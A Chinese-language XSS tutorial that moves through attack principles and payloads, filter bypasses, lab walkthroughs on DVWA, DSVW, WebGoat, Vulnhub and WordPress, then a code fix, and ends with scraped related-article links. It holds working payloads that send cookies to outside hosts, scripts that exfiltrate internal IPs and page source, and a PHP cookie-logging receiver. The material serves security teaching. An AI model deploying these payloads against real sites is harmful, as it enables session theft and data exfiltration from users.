本文由红日安全成员: Aixic 编写,如有不当,还望斧正。

大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫 Web安全实战 ,希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法(手工测试,工具测试)-靶场测试(分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖)-实战演练(主要选择相应CMS或者是Vulnhub进行实战演练),如果对大家有帮助请Star鼓励我们创作更好文章。如果你愿意加入我们,一起完善这个项目,欢迎通过邮件形式(sec-redclub@qq.com)联系我们。

1.XSS漏洞概述

1.1 漏洞简介

跨站脚本攻击—XSS(Cross Site Script),是指攻击者通过在Web页面中写入恶意脚本,造成用户在浏览页面时,控制用户浏览器进行操作的攻击方式。假设,在一个服务端上,有一处功能使用了这段代码,他的功能是将用户输入的内容输出到页面上,很常见的一个功能。但是假如,这里输入的内容是一段经过构造的js。那么在用户再次访问这个页面时,就会获取使用js在用户的浏览器端执行一个弹窗操作。通过构造其他相应的代码,攻击者可以执行更具危害的操作。

1.2 XSS漏洞原理

1.2.1 反射型

非持久型,常见的就是在URL中构造,将恶意链接发送给目标用户。当用户访问该链接时候,会向服务器发起一个GET请求来提交带有恶意代码的链接。造成反弹型XSS
主要是GET类型

1.2.2 存储型

持久型,常见的就是在博客留言板、反馈投诉、论坛评论、将恶意代码和正文都存入服务器的数据库。每次访问都会触发恶意代码。
例如:<srcipt>alert(/xss/)</srcipt>

1.2.3 DOM型

DOM型是特殊的反射型XSS
在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

  1. <script>var img=document.createElement("img");img.src="http://xxxx/a?"+escape(document.cookie);</script>

1.3 XSS危害

1.3.1 盗取管理员cookie

盗取管理员的cookie然后登陆后台,获取到后台权限。

1.3.2 XSS蠕虫攻击

可以构成几何的速度进行传播xss代码,获取大部分人的权限。一般配合csrf使用

1.4 常用XSS语句

  1. <script>alert(/xss/);</script> //经典语句
  2. <BODY ONLOAD=alert('XSS')>
  3. <img src=x onerror=alert(1)>
  4. <svg onload=alert(1)>
  5. <a href = javasript:alert(1)>

1.5 XSS漏洞绕过

1.5.1 JS编码

三个八进制数;如果不够前面补0
两个十六进制数字;如果不够前面补0
四个十六进制数字;如果不够前面补0
控制字符

1.5.2 HTML实体编码

&开始;结束

1.5.3 URL编码

%27
考虑HTML的渲染方式选择合适的编码方式进行测试

1.6 XSS漏洞浏览器问题

有些浏览器会过滤掉一些js脚本,在测试的时候需要关闭对JavaScript的检测。

0x06 XSS漏洞防御

过滤输入的数据,和非法字符‘ “ < > on* 等”’
输出到页面的数据进行相应的编码转换包括HTML实体编码、JavaScript编码等

2. 测试方法

2.1 手工测试

这里我们选取DVWA靶场进行手工测试。

2.1.1

2.1.1.1 DVWA 简介

DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。

2.1.1.2 DVWA 安装

  1. https://github.com/ethicalhack3r/DVWA/archive/master.zip

本地PHPStudy搭建DVWA靶机,放入www目录下即可
环境使用PHP+MySQL即可。

修改config.inc.php.dist配置文件中的数据库密码,并且把文件后缀.dist去掉

因为是xss实验,所以上面的红字可无视,重置一下数据库进入靶场

用户名:admin 密码:password 登陆靶场

默认的难度是impossible级别,先选择low级别

2.1.1.3 测试过程

Low
Low_DOM XSS
</option></select><img src=## onerror=alert(document.cookie)>即可触发XSS

Low_Reflected XSS
直接使用<script>alert(document.cookie)</script>

Low_Stored XSS

Medium
Medium_DOM XSS
从Medium级别就开始有加固

可以看到它先判断default是否为空,如果不为空,判断下面判断GET输入进来的变量default是否存在<script如果存在就重定向到?default=English
用之前low级别的代码就可以进行绕过

  1. </option></select><img src=## onerror=alert(document.cookie)>

Medium_Reflected XSS

分析发现现实判断是否为空,如果不为空再判断其中的内容如果有<script>就替换成空复写就可以绕过

  1. <sc<script>ript>alert(document.cookie)</script>

Medium_Stored XSS

在信息框把所有的特殊字符都进行了addslashes转义,在name那块仍然可以用复写绕过、
但是name处限制了长度,改一下即可

High
High_DOM XSS
High级别的代码的限制就比较多,但是还能利用

只能选择case后面的参数来提交,如果不是就按照默认English
构造语句,这里的##是URL的锚点,让浏览器判断这里终止,主要是让本地存储这个xss语句,发送到服务端进行验证的是##前面的内容,达到了绕过的目的

  1. English##<script>alert(document.cookie)</script>

High_Reflected XSS

上述代码进行了正则替换,只要包含script这些都会进行替换,不使用script即可

  1. <img src=1 onerror=alert(document.cookie)>

High_Stored XSS

跟上面同理,在name处进行xss,仍然需要改name长度

Impossible
Impossible级别利用失败

无敌防御方法使用htmlspecialchars函数对输入的数据实例化,失去本身作用。

2.1.2 DSVW

2.1.2.1 DSVW 简介

Damn Small Vulnerable Web (DSVW) 是使用 Python 语言开发的 Web应用漏洞 的演练系统。其系统只有一个 python 的脚本文件组成, 当中涵盖了 26 种 Web应用漏洞环境, 并且脚本代码行数控制在了100行以内, 当前版本v0.1m。需要python (2.6.x 或 2.7)并且得安装lxml库

2.1.2.2 DSVW 安装

安装python-lxml,再下载DSVW

  1. apt-get install python-lxml
  2. git clone https://github.com/stamparm/DSVW.git

直接运行

如果出现ip无法访问的情况改一下代码即可

2.1.2.3 测试过程

XSS(Reflected)
因为这个网站没有cookie,所以直接弹射信息
代码<script>alert(/xss aixi/)</script>

XSS(Stored)
http://10.1.1.14:65412/?comment=%3Cscript%3Ealert(/xss%20aixi/)%3C/script%3E
代码<script>alert(/xss aixi/)</script>

直接弹射

XSS(DOM)
?##lang=<script>alert(/xss%20aixi/)</script>

直接弹射

XSS(JSON)

看代码可发现
构造语句alert(/xss/)即可不用带script

2.2 工具测试

因为要测试所以需要关闭DVWA的登陆验证
加上$dvwaSession[ 'username' ]='admin';

在config/config.inc.php把默认难度也改成low

2.2.1 BruteXSS

下载链接

  1. https://github.com/ym2011/penetration/tree/master/BruteXSS


测试过程中会因为DVWA的cookie验证严格出现问题,把dvwa的代码进行本地测试利用即可

2.2.2 xxser

Kali自带或下载链接

  1. 在基于Debian的系统上安装
  2. sudo apt-get install python-pycurl python-xmlbuilder python-beautifulsoup python-geoip 使用

利用成功

2.3 XSS平台搭建

2.3.1 平台介绍

XSS平台可以辅助安全测试人员对XSS相关的漏洞危害进行深入学习,了解XSS的危害重视XSS的危害,如果要说XSS可以做哪些事情,XSS可以做js能够做的所有事情。包括但不限于:窃取Cookie、后台增删改文章、钓鱼、利用XSS漏洞进行传播、修改网页代码、网站重定向、获取用户信息(如浏览器信息,IP地址等)等。
XSS平台项目名称:BlueLotus_XSSReceiver
作者:firesun(来自清华大学蓝莲花战队)
项目地址:https://github.com/firesunCN/BlueLotus_XSSReceiver

2.3.2 平台环境

服务器操作系统:ubuntu14
web容器:Apache2
脚本语言:PHP7
安装http server与php环境(ubuntu: sudo apt-get install apache2 php5 或 sudo apt-get install apache2 php7.0 libapache2-mod-php7.0)

2.3.3 平台部署

文件解压到www根目录
然后给个权限,为了防止出错

权限的问题已经解决了

打开网页访问admin.php进行自动部署,点击安装

设置一下后台登陆密码

点击下一步,部署成功

2.3.4 平台使用

登陆平台,在公共模版处使用默认js来进行
修改一下网站的地址

改成这样即可

点击下面的修改即可成功应用

下面开始使用这个默认的JS脚本进行XSS,复制一下js地址https://aixic.cn/XXXSSS/template/default.js

在DVWA中插入试试

  1. <sCRiPt sRC=https://aixic.cn/XXXSSS/template/default.js></sCrIpT>


能成功反射cookie

2.3.5 平台扩展

2.3.5.1 XSS平台反射注入

介绍一个之前在比赛看见有个师傅玩的操作,用xss进行内网SQL注入。ps:虽然他x错地方了而且跟注入没关系,但是看着挺好玩的,进行了一个简单的布尔判断xss

  1. xmlhttp=new XMLHttpRequest();
  2. var d1=new Date();
  3. t1=d1.getTime();
  4. xmlhttp.onreadystatechange=function(){
  5. if(xmlhttp.readyState==4 && xmlhttp.status==200){
  6. var d2=new Date();
  7. t2=d2.getTime();
  8. location.href="http://123.207.99.17/id1?xssaaaa"+escape(xmlhttp.responseText)+"timeCost"+String(t2-t1);
  9. }
  10. }
  11. xmlhttp.open("POST","/Ze02pQYLf5gGNyMn/login.php",true);
  12. xmlhttp.send("username=admi/**/or/**/1&password=1");

2.3.5.2 使用邮件提醒

设置一下config.php里的与邮件相关的

直接去别的XSS平台去扒他们的脚本,拿来就能用

如这个获取内网IP的脚本

  1. var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
  2. if (RTCPeerConnection) (function() {
  3. var rtc = new RTCPeerConnection({
  4. iceServers:[]
  5. });
  6. if (1 || window.mozRTCPeerConnection) {
  7. rtc.createDataChannel("", {
  8. reliable:false
  9. });
  10. }
  11. rtc.onicecandidate = function(evt) {
  12. if (evt.candidate) grepSDP("a=" + evt.candidate.candidate);
  13. };
  14. rtc.createOffer(function(offerDesc) {
  15. grepSDP(offerDesc.sdp);
  16. rtc.setLocalDescription(offerDesc);
  17. }, function(e) {
  18. console.warn("offer failed", e);
  19. });
  20. var addrs = Object.create(null);
  21. addrs["0.0.0.0"] = false;
  22. function updateDisplay(newAddr) {
  23. if (newAddr in addrs) return; else addrs[newAddr] = true;
  24. var displayAddrs = Object.keys(addrs).filter(function(k) {
  25. return addrs[k];
  26. });
  27. new Image().src="https://xsshs.cn/xss.php?do=selfxss&act=g&id={projectId}&c=!!!cookie:"+document.cookie+"!!!ip:"+String(displayAddrs);
  28. }
  29. function grepSDP(sdp) {
  30. var hosts = [];
  31. sdp.split("\r\n").forEach(function(line) {
  32. if (~line.indexOf("a=candidate")) {
  33. var parts = line.split(" "), addr = parts[4], type = parts[7];
  34. if (type === "host") updateDisplay(addr);
  35. } else if (~line.indexOf("c=")) {
  36. var parts = line.split(" "), addr = parts[2];
  37. updateDisplay(addr);
  38. }
  39. });
  40. }
  41. })();

获取页面源码的脚本

  1. var cr;
  2. if (document.charset) {
  3. cr = document.charset
  4. } else if (document.characterSet) {
  5. cr = document.characterSet
  6. };
  7. function createXmlHttp() {
  8. if (window.XMLHttpRequest) {
  9. xmlHttp = new XMLHttpRequest()
  10. } else {
  11. var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
  12. for (var n = 0; n < MSXML.length; n++) {
  13. try {
  14. xmlHttp = new ActiveXObject(MSXML[n]);
  15. break
  16. } catch (e) {
  17. }
  18. }
  19. }
  20. }
  21. createXmlHttp();
  22. xmlHttp.onreadystatechange = writeSource;
  23. xmlHttp.open('GET', '{set.filename}', true);
  24. xmlHttp.send(null);
  25. function writeSource() {
  26. if (xmlHttp.readyState == 4) {
  27. var code = BASE64.encoder(xmlHttp.responseText);
  28. xssPost('https://xsshs.cn/xss.php?do=api&id={projectId}', code);
  29. }
  30. }
  31. function xssPost(url, postStr) {
  32. var de;
  33. de = document.body.appendChild(document.createElement('iframe'));
  34. de.src = 'about:blank';
  35. de.height = 1;
  36. de.width = 1;
  37. de.contentDocument.write('<form method="POST" action="' + url + '"><input name="code" value="' + postStr + '"/></form>');
  38. de.contentDocument.forms[0].submit();
  39. de.style.display = 'none';
  40. }
  41. /**
  42. *create by 2012-08-25 pm 17:48
  43. *@author hexinglun@gmail.com
  44. *BASE64 Encode and Decode By UTF-8 unicode
  45. *可以和java的BASE64编码和解码互相转化
  46. */
  47. (function(){
  48. var BASE64_MAPPING = [
  49. 'A','B','C','D','E','F','G','H',
  50. 'I','J','K','L','M','N','O','P',
  51. 'Q','R','S','T','U','V','W','X',
  52. 'Y','Z','a','b','c','d','e','f',
  53. 'g','h','i','j','k','l','m','n',
  54. 'o','p','q','r','s','t','u','v',
  55. 'w','x','y','z','0','1','2','3',
  56. '4','5','6','7','8','9','+','/'
  57. ];
  58. /**
  59. *ascii convert to binary
  60. */
  61. var _toBinary = function(ascii){
  62. var binary = new Array();
  63. while(ascii > 0){
  64. var b = ascii%2;
  65. ascii = Math.floor(ascii/2);
  66. binary.push(b);
  67. }
  68. /*
  69. var len = binary.length;
  70. if(6-len > 0){
  71. for(var i = 6-len ; i > 0 ; --i){
  72. binary.push(0);
  73. }
  74. }*/
  75. binary.reverse();
  76. return binary;
  77. };
  78. /**
  79. *binary convert to decimal
  80. */
  81. var _toDecimal = function(binary){
  82. var dec = 0;
  83. var p = 0;
  84. for(var i = binary.length-1 ; i >= 0 ; --i){
  85. var b = binary[i];
  86. if(b == 1){
  87. dec += Math.pow(2 , p);
  88. }
  89. ++p;
  90. }
  91. return dec;
  92. };
  93. /**
  94. *unicode convert to utf-8
  95. */
  96. var _toUTF8Binary = function(c , binaryArray){
  97. var mustLen = (8-(c+1)) + ((c-1)*6);
  98. var fatLen = binaryArray.length;
  99. var diff = mustLen - fatLen;
  100. while(--diff >= 0){
  101. binaryArray.unshift(0);
  102. }
  103. var binary = [];
  104. var _c = c;
  105. while(--_c >= 0){
  106. binary.push(1);
  107. }
  108. binary.push(0);
  109. var i = 0 , len = 8 - (c+1);
  110. for(; i < len ; ++i){
  111. binary.push(binaryArray[i]);
  112. }
  113. for(var j = 0 ; j < c-1 ; ++j){
  114. binary.push(1);
  115. binary.push(0);
  116. var sum = 6;
  117. while(--sum >= 0){
  118. binary.push(binaryArray[i++]);
  119. }
  120. }
  121. return binary;
  122. };
  123. var __BASE64 = {
  124. /**
  125. *BASE64 Encode
  126. */
  127. encoder:function(str){
  128. var base64_Index = [];
  129. var binaryArray = [];
  130. for(var i = 0 , len = str.length ; i < len ; ++i){
  131. var unicode = str.charCodeAt(i);
  132. var _tmpBinary = _toBinary(unicode);
  133. if(unicode < 0x80){
  134. var _tmpdiff = 8 - _tmpBinary.length;
  135. while(--_tmpdiff >= 0){
  136. _tmpBinary.unshift(0);
  137. }
  138. binaryArray = binaryArray.concat(_tmpBinary);
  139. }else if(unicode >= 0x80 && unicode <= 0x7FF){
  140. binaryArray = binaryArray.concat(_toUTF8Binary(2 , _tmpBinary));
  141. }else if(unicode >= 0x800 && unicode <= 0xFFFF){//UTF-8 3byte
  142. binaryArray = binaryArray.concat(_toUTF8Binary(3 , _tmpBinary));
  143. }else if(unicode >= 0x10000 && unicode <= 0x1FFFFF){//UTF-8 4byte
  144. binaryArray = binaryArray.concat(_toUTF8Binary(4 , _tmpBinary));
  145. }else if(unicode >= 0x200000 && unicode <= 0x3FFFFFF){//UTF-8 5byte
  146. binaryArray = binaryArray.concat(_toUTF8Binary(5 , _tmpBinary));
  147. }else if(unicode >= 4000000 && unicode <= 0x7FFFFFFF){//UTF-8 6byte
  148. binaryArray = binaryArray.concat(_toUTF8Binary(6 , _tmpBinary));
  149. }
  150. }
  151. var extra_Zero_Count = 0;
  152. for(var i = 0 , len = binaryArray.length ; i < len ; i+=6){
  153. var diff = (i+6)-len;
  154. if(diff == 2){
  155. extra_Zero_Count = 2;
  156. }else if(diff == 4){
  157. extra_Zero_Count = 4;
  158. }
  159. //if(extra_Zero_Count > 0){
  160. // len += extra_Zero_Count+1;
  161. //}
  162. var _tmpExtra_Zero_Count = extra_Zero_Count;
  163. while(--_tmpExtra_Zero_Count >= 0){
  164. binaryArray.push(0);
  165. }
  166. base64_Index.push(_toDecimal(binaryArray.slice(i , i+6)));
  167. }
  168. var base64 = '';
  169. for(var i = 0 , len = base64_Index.length ; i < len ; ++i){
  170. base64 += BASE64_MAPPING[base64_Index[i]];
  171. }
  172. for(var i = 0 , len = extra_Zero_Count/2 ; i < len ; ++i){
  173. base64 += '=';
  174. }
  175. return base64;
  176. },
  177. /**
  178. *BASE64 Decode for UTF-8
  179. */
  180. decoder : function(_base64Str){
  181. var _len = _base64Str.length;
  182. var extra_Zero_Count = 0;
  183. /**
  184. *计算在进行BASE64编码的时候,补了几个0
  185. */
  186. if(_base64Str.charAt(_len-1) == '='){
  187. //alert(_base64Str.charAt(_len-1));
  188. //alert(_base64Str.charAt(_len-2));
  189. if(_base64Str.charAt(_len-2) == '='){//两个等号说明补了4个0
  190. extra_Zero_Count = 4;
  191. _base64Str = _base64Str.substring(0 , _len-2);
  192. }else{//一个等号说明补了2个0
  193. extra_Zero_Count = 2;
  194. _base64Str = _base64Str.substring(0 , _len - 1);
  195. }
  196. }
  197. var binaryArray = [];
  198. for(var i = 0 , len = _base64Str.length; i < len ; ++i){
  199. var c = _base64Str.charAt(i);
  200. for(var j = 0 , size = BASE64_MAPPING.length ; j < size ; ++j){
  201. if(c == BASE64_MAPPING[j]){
  202. var _tmp = _toBinary(j);
  203. /*不足6位的补0*/
  204. var _tmpLen = _tmp.length;
  205. if(6-_tmpLen > 0){
  206. for(var k = 6-_tmpLen ; k > 0 ; --k){
  207. _tmp.unshift(0);
  208. }
  209. }
  210. binaryArray = binaryArray.concat(_tmp);
  211. break;
  212. }
  213. }
  214. }
  215. if(extra_Zero_Count > 0){
  216. binaryArray = binaryArray.slice(0 , binaryArray.length - extra_Zero_Count);
  217. }
  218. var unicode = [];
  219. var unicodeBinary = [];
  220. for(var i = 0 , len = binaryArray.length ; i < len ; ){
  221. if(binaryArray[i] == 0){
  222. unicode=unicode.concat(_toDecimal(binaryArray.slice(i,i+8)));
  223. i += 8;
  224. }else{
  225. var sum = 0;
  226. while(i < len){
  227. if(binaryArray[i] == 1){
  228. ++sum;
  229. }else{
  230. break;
  231. }
  232. ++i;
  233. }
  234. unicodeBinary = unicodeBinary.concat(binaryArray.slice(i+1 , i+8-sum));
  235. i += 8 - sum;
  236. while(sum > 1){
  237. unicodeBinary = unicodeBinary.concat(binaryArray.slice(i+2 , i+8));
  238. i += 8;
  239. --sum;
  240. }
  241. unicode = unicode.concat(_toDecimal(unicodeBinary));
  242. unicodeBinary = [];
  243. }
  244. }
  245. return unicode;
  246. }
  247. };
  248. window.BASE64 = __BASE64;
  249. })();

2.4 简易xss平台搭建

JS脚本

  1. var img = document.createElement("img");
  2. img.src = "http://xxx/x.php?cookie="+document.cookie;
  3. document.body.appendChild(img);

接收端

  1. <?php
  2. $victim = 'XXS得到的 cookie:'. $_SERVER['REMOTE_ADDR']. ':' .$_GET['cookie']."\r\n\r\n";
  3. echo htmlspecialchars($_GET['cookie']);
  4. $myfile = fopen("/aixi/XSS/xss_victim.txt", "a");
  5. fwrite($myfile, $victim);
  6. ?>

2.5 WebGoat 简介

WebGoat是OWASP组织研制出的用于进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。

2.5.1 WebGoat 安装

  1. https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webgoat-server-8.0.0.M25.jar
  2. https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webwolf-8.0.0.M25.jar


默认是127.0.0.1 ,只能本机访问,需要更改
java -jar webgoat-server-8.0.0.M25.jar --server.address=0.0.0.0

需更新到最新的java版本

  1. https://www.oracle.com/technetwork/java/javase/downloads/jdk12-downloads-5295953.html

安装java步骤省略,安装好了开始运行


访问http://192.168.123.25:8080/WebGoat

2.5.2 测试过程

2.5.2.1 XSS(DOM)

第一个

攻击语句<script>alert(document.cookie)</script>

第二个


去找js脚本看里面的内容。

输入
start.mvc#test/

第三个

结合上一个题的东西路径+基本参数构成

攻击语句start.mvc##test/<script>alert(document.cookie),经过测试发现如果输入<script>他会自己补全,所以就不用输入</script>

2.5.2.2 XSS(Stored)

攻击代码<script>alert(document.cookie)</script>,直接留言板插入即可没有过滤

  1. 真实实战演练

3.1 Vulnhub 简介

Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标。

3.2 Vulnhub 安装

这里下载关于xss的(下载32位的,以后可以用来做溢出攻击)

  1. https://download.vulnhub.com/pentesterlab/xss_and_mysql_file_i386.iso


打开VMware经典模式挂上镜像一直下一步,选择桥接模式就能自动分配一个IP地址



安装成功

3.3 Vulnhub 漏洞介绍

本练习说明如何使用跨站点脚本漏洞来访问管理员的cookie。然后,您将如何使用他/她的会话来访问管理以查找SQL注入并使用它来获取代码执行。这个靶场主要是做一个xss反射
用户名admin 密码P4ssw0rd

3.4 Vulnhub 漏洞演示


直接点留言


成功,因为是真实环境,我们这里直接用xss平台搞

管理员查看留言板触发xss


即可成功冒充用户登录

3.5 Vulnhub 漏洞修复

对输入处进行实例化,是最有效最简单的方法,如果是替换代码,量就比较大

实例化classes/post.php

  1. <?php
  2. class Post{
  3. public $id, $title, $text, $published;
  4. function __construct($id, $title, $text, $published){
  5. $this->title= $title;
  6. $this->text = $text;
  7. $this->published= $published;
  8. $this->id = $id;
  9. }
  10. function all($cat=NULL,$order =NULL) {
  11. $sql = "SELECT * FROM posts";
  12. if (isset($order))
  13. $sql .= "order by ".mysql_real_escape_string($order);
  14. $results= mysql_query($sql);
  15. $posts = Array();
  16. if ($results) {
  17. while ($row = mysql_fetch_assoc($results)) {
  18. $posts[] = new Post($row['id'],$row['title'],$row['text'],$row['published']);
  19. }
  20. }
  21. else {
  22. echo mysql_error();
  23. }
  24. return $posts;
  25. }
  26. function render_all($pics) {
  27. echo "<ul>\n";
  28. foreach ($pics as $pic) {
  29. echo "\t<li>".$pic->render()."</a></li>\n";
  30. }
  31. echo "</ul>\n";
  32. }
  33. function render_edit() {
  34. $str = "<img src=\"uploads/".h($this->img)."\" alt=\"".h($this->title)."\" />";
  35. return $str;
  36. }
  37. function render() {
  38. $str = "<h2 class=\"title\"><a href=\"/post.php?id=".h($this->id)."\">".h($this->title)."</a></h2>";
  39. $str.= '<div class="inner" align="center">';
  40. $str.= "<p>".htmlentities($this->text)."</p></div>";
  41. $str.= "<p><a href=\"/post.php?id=".h($this->id)."\">";
  42. $count = $this->get_comments_count();
  43. switch ($count) {
  44. case 0:
  45. $str.= "Be the first to comment";
  46. break;
  47. case 1:
  48. $str.= "1 comment";
  49. break;
  50. case 2:
  51. $str.= $count." comments";
  52. break;
  53. }
  54. $str.= "</a></p>";
  55. return $str;
  56. }
  57. function add_comment() {
  58. $sql = "INSERT INTO comments (title,author, text, post_id) values ('";
  59. $sql .= mysql_real_escape_string(htmlspecialchars($_POST["title"]))."','";
  60. $sql .= mysql_real_escape_string(htmlspecialchars($_POST["author"]))."','";
  61. $sql .= mysql_real_escape_string(htmlspecialchars($_POST["text"]))."',";
  62. $sql .= intval($this->id).")";
  63. $result = mysql_query($sql);
  64. echo mysql_error();
  65. }
  66. function render_with_comments() {
  67. $str = "<h2 class=\"title\"><a href=\"/post.php?id=".h($this->id)."\">".h($this->title)."</a></h2>";
  68. $str.= '<div class="inner" style="padding-left: 40px;">';
  69. $str.= "<p>".htmlentities($this->text)."</p></div>";
  70. $str.= "\n\n<div class='comments'><h3>Comments: </h3>\n<ul>";
  71. foreach ($this->get_comments() as $comment) {
  72. $str.= "\n\t<li>".$comment->text."</li>";
  73. }
  74. $str.= "\n</ul></div>";
  75. return $str;
  76. }
  77. function get_comments_count() {
  78. if (!preg_match('/^[0-9]+$/', $this->id)) {
  79. die("ERROR: INTEGER REQUIRED");
  80. }
  81. $comments = Array();
  82. $result = mysql_query("SELECT count(*) as count FROM comments where post_id=".$this->id);
  83. $row = mysql_fetch_assoc($result);
  84. return $row['count'];
  85. }
  86. function get_comments() {
  87. if (!preg_match('/^[0-9]+$/', $this->id)) {
  88. die("ERROR: INTEGER REQUIRED");
  89. }
  90. $comments = Array();
  91. $results = mysql_query("SELECT * FROM comments where post_id=".$this->id);
  92. if (isset($results)){
  93. while ($row = mysql_fetch_assoc($results)) {
  94. $comments[] = Comment::from_row($row);
  95. }
  96. }
  97. return $comments;
  98. }
  99. function find($id) {
  100. $result = mysql_query("SELECT * FROM posts where id=".$id);
  101. $row = mysql_fetch_assoc($result);
  102. if (isset($row)){
  103. $post = new Post($row['id'],$row['title'],$row['text'],$row['published']);
  104. }
  105. return $post;
  106. }
  107. function delete($id) {
  108. if (!preg_match('/^[0-9]+$/', $id)) {
  109. die("ERROR: INTEGER REQUIRED");
  110. }
  111. $result = mysql_query("DELETE FROM posts where id=".(int)$id);
  112. }
  113. function update($title, $text) {
  114. $sql = "UPDATE posts SET title='";
  115. $sql .= mysql_real_escape_string(htmlspecialchars($_POST["title"]))."',text='";
  116. $sql .= mysql_real_escape_string(htmlspecialchars( $_POST["text"]))."' WHERE id=";
  117. $sql .= intval($this->id);
  118. $result = mysql_query($sql);
  119. $this->title = $title;
  120. $this->text = $text;
  121. }
  122. function create(){
  123. $sql = "INSERT INTO posts (title, text) VALUES ('";
  124. $title = mysql_real_escape_string(htmlspecialchars( $_POST["title"]));
  125. $text = mysql_real_escape_string(htmlspecialchars( $_POST["text"]));
  126. $sql .= $title."','".$text;
  127. $sql.= "')";
  128. $result = mysql_query($sql);
  129. }
  130. }
  131. ?>


实例化成功

4. CMS实战演练

4.1 WordPress简介

WordPress于2003年开始使用一段代码来增强日常写作的印刷效果,用户数量少于您可以依靠手指和脚趾的数量。自那时起,它已成长为世界上最大的自主托管博客工具,在数百万个网站上使用,每天都有数千万人看到。

4.2 WordPress部署

下载4.1版本以下

  1. https://cn.wordpress.org/wordpress-4.0.1-zh_CN.zip

使用phpstudy搭建WordPress
放到跟目录直接一把梭

4.3 安装


先创建一个数据库create database wordpress;



进行安装


安装成功

4.4 WordPress漏洞介绍

漏洞出现在wordpress的留言处,不过问题是由mysql的一个特性引起的。在mysql的utf8字符集中,一个字符由1~3个字节组成,对于大于3个字节的字符,mysql使用了utf8mb4的形式来存储。如果我们将一个utf8mb4字符插入到utf8编码的列中,那么在mysql的非strict mode下,他的做法是将后面的内容截断。截断的话,就能绕过很多富文本过滤器了。比如,插入两个评论<img src=1,和onerror=alert(1)//,这二者都不会触发某些富文本过滤器(因为前者并不含有白名单外的属性,后者并不是一个标签),但两个评论如果存在于同一个页面,就会拼接成一个完整的HTML标签,触发onerror事件。

4.5 WordPress漏洞演示

先把Mysql的strict mode关闭
my.ini

  1. 将其中的 sql-mode="STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"
  2. 修改为 sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"

攻击代码//P神博客的
```
<abbr title="qweqw style=display:block;position:fixed;width:100%;height:100%;top:0; onmouseover=alert(1)//

[红日安全]Web安全Day2 - XSS跨站实战攻防的更多相关文章

  1. 应用安全-Web安全-XSS(跨站攻击)攻防整理

    分类 反射型 存储型 DOM型 XSF(Flash XSS) PDFXSS MHTML协议跨站(MHTML,data) 字符编码(UTF-7 XSS) 富文本编辑器测试 - 输入框 <img S ...

  2. web安全性测试——XSS跨站攻击

    1.跨站攻击含义 XSS:(Cross-site scripting)全称"跨站脚本",是注入攻击的一种.其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布 ...

  3. WAF——针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入、XSS跨站、Webshell上传、命令注入、非法HTTP协议请求、非授权文件访问等

    核心概念 WAF Web应用防火墙(Web Application Firewall),简称WAF. Web攻击 针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入.XSS跨站.Websh ...

  4. XSS跨站及利用

    (一)软件测试环境以及搭建 测试环境:本地 XAMPP 1.7.1 测试软件:PHP168整站v5.0 软件下载地址 http://down2.php168.com/v2008.rar PHP.ini ...

  5. XSS跨站攻击

    目录 1 XSS跨站攻击简介 1 1.1 什么是XSS 1 1.2 XSS的分类 1 1.3 XSS的危害 1 2 XSS的攻击原理 1 2.1 本地式漏洞攻击 1 2.2 存储式漏洞攻击 2 2.3 ...

  6. XSS跨站脚步攻击及防范

    XSS(Cross Site Script)跨站脚本攻击.它指的是恶意攻击者往Web 页面里插入恶 意html 代码,当用户浏览该页之时,嵌入其中Web 里面的html 代码会被执行,从而达到侵害用户 ...

  7. 用shell脚本批量进行xss跨站攻击请求

    由于执行的xss攻击请求他多了,初步估计要执行83次,而且还要执行3篇,如果手工一个一个去执行,说出去,我还配叫自动化大师吗: 有鉴于此,边打算自己编写一个脚本进行批量执行: 而短脚本的编写,非she ...

  8. 二十五:XSS跨站值原理分类及攻击手法

    HTML DOM树 XSS跨站产生原理,危害,特点 本质,产生层面,函数类,漏洞操作对应层,危害影响,浏览器内核版本 XSS是什么? XSS全称跨站脚本(Cross Site Scripting),为 ...

  9. 云锁Linux服务器安全软件安装及防护webshell、CC、XSS跨站攻击设置

    无论我们在使用电脑,还是使用VPS/服务器的时候,最为担心的就是服务器是否有安全问题,尤其是网站服务器再遭受攻击的时候如何得到防护.对于大 部分站长用户来说,我们可能只会使用基础的环境,如果真遇到问题 ...

随机推荐

  1. java"小心机"(1)【资源彩蛋!】

    每天进步一点点,距离大腿又近一步! 阅读本文大概需要9分钟 java"小心机"系列文章在此开篇.在这,将会给你带来曾经错过.忽略或感到模糊的知识,也许它很基础,微不足道,但它能修复 ...

  2. Frameworks.Entity.Core 5 EntityValidation

    Project.Core\Frameworks.Entity.Core\EntityValidation\ EntityValidation 1  数值验证DigitAttribute.cs Digi ...

